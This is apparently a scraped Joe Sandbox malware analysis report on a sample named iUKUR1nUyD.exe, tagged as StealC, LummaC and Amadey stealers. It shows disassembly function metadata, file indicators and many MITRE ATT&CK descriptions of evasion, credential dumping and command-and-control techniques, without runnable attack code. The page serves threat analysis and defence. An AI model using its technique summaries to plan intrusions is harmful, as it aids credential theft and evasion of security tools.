Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Choice_DecodeTimeUtil$CertCheckDestroyPublicTimesValid
String ID: ]Tl
API String ID: 221937774-3588753846
Opcode ID: 8b4586f9bf7fe022698438743c8cc7a435e02df9751e3daf09b6801118977999
Instruction ID: 082147b94a5d0c711982accc2db32c21149d151f6f82361a159d6910f760396a
Opcode Fuzzy Hash: 8b4586f9bf7fe022698438743c8cc7a435e02df9751e3daf09b6801118977999
Instruction Fuzzy Hash: 15F08CB7A00118A7EF016965AC04ABB36599BC1299F084032FE0896651FB22ED2983E1

Function 6C530F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6C530936,FFFFE8AE,?,6C4C16B7,00000000,?,6C530936,00000000,?,6C4C204A), ref: 6C530F1B

Part of subcall function 6C531370: GetSystemInfo.KERNEL32(?,?,?,?,6C530936,?,6C530F20,6C530936,FFFFE8AE,?,6C4C16B7,00000000,?,6C530936,00000000), ref: 6C53138F

PR_NewLogModule.NSS3(clock,6C530936,FFFFE8AE,?,6C4C16B7,00000000,?,6C530936,00000000,?,6C4C204A), ref: 6C530F25

Part of subcall function 6C531110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6C530936,00000001,00000040), ref: 6C531130
Part of subcall function 6C531110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6C530936,00000001,00000040), ref: 6C531142
Part of subcall function 6C531110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6C530936,00000001), ref: 6C531167

Strings

clock, xrefs: 6C530F20

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: a241f6f9f5bc6fe99d5f4953fc2fe14e046fdf70e6d132dd28ddee1932d1c245
Instruction ID: 3e29b3ebed8e15d6b4655d87110934a05a436c125d2c460061dc23c1ebb2a020
Opcode Fuzzy Hash: a241f6f9f5bc6fe99d5f4953fc2fe14e046fdf70e6d132dd28ddee1932d1c245
Instruction Fuzzy Hash: DAD02231600124A2C21022B7AC84BDFB3ACC7C32B9F002832E02C41D005A28A4DAC27D

Function 6C5A0DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C5A0DF5
TlsGetValue.KERNEL32 ref: 6C5A0E2D
TlsGetValue.KERNEL32 ref: 6C5A0E58
TlsGetValue.KERNEL32 ref: 6C5A0E84

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 0ea04afcb67a8962147f03bee8c1b5155c5e5a57bb49024e12a9370427eb0fac
Instruction ID: 89ce79fb52349598fbaa968235b96eeba6afa9ab3044b7d25846e0cb88147c82
Opcode Fuzzy Hash: 0ea04afcb67a8962147f03bee8c1b5155c5e5a57bb49024e12a9370427eb0fac
Instruction Fuzzy Hash: 6731F870664391CFDB109FBBDD8426D77B4BF85309F11452BD88AC7A10EB309486DB85

Function 6C4FA4E0 Relevance: 5.1, APIs: 4, Instructions: 75stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,6C4FA468,00000000), ref: 6C4FA4F9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,6C4FA468,00000000), ref: 6C4FA51B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C4FA468,?,6C4FA468,00000000), ref: 6C4FA545
memcpy.VCRUNTIME140(00000001,6C4FA468,00000001,?,?,?,6C4FA468,00000000), ref: 6C4FA57D

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: strlen$memcpy
String ID:
API String ID: 3396830738-0
Opcode ID: 600eb8a033a5ca9a43437b08be08586c367961074f3215d643a34829541b8b4a
Instruction ID: 4cdb2a2a14533179154315bb7ed3aa6e46a8b280877da6c374d8dc2d989e3d70
Opcode Fuzzy Hash: 600eb8a033a5ca9a43437b08be08586c367961074f3215d643a34829541b8b4a
Instruction Fuzzy Hash: 71110AB3D003155BDF01CAB99C81E9B77999F95278F280235ED2487780F639990A82E1

Function 6C5A0F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C542AF5,?,?,?,?,?,6C540A1B,00000000), ref: 6C5A0F1A
malloc.MOZGLUE(00000001), ref: 6C5A0F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C5A0F42
TlsGetValue.KERNEL32 ref: 6C5A0F5B

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 28bb4d06ee2db8df1145c5c81c9fce13a26e9d7c790a2a50dc796ade2a0acb8f
Instruction ID: 144b746f7781eb38fa1bf7f53899836a5c88a429e966c42d8af56c555111a8c4
Opcode Fuzzy Hash: 28bb4d06ee2db8df1145c5c81c9fce13a26e9d7c790a2a50dc796ade2a0acb8f
Instruction Fuzzy Hash: 54014071E102909BE7105B7F9D4456A7B6CEFD6299F010533EC0ED3A21E731D816C1E6

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report iUKUR1nUyD.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BKFBAECBAEGDGDHIEHIJJEBFHD

C:\ProgramData\BKKJKFBKKECFHJKEBKEH

C:\ProgramData\ECAFHDBG

C:\ProgramData\HIIIJDAAAAAAKECBFBAE

C:\ProgramData\IEBAAFCAFCBKFHJJJKKF

C:\ProgramData\JEBKKEGDBFIIEBFHIEHCBKJJKJ

C:\ProgramData\JJECGHJD

Windows Analysis Report
iUKUR1nUyD.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre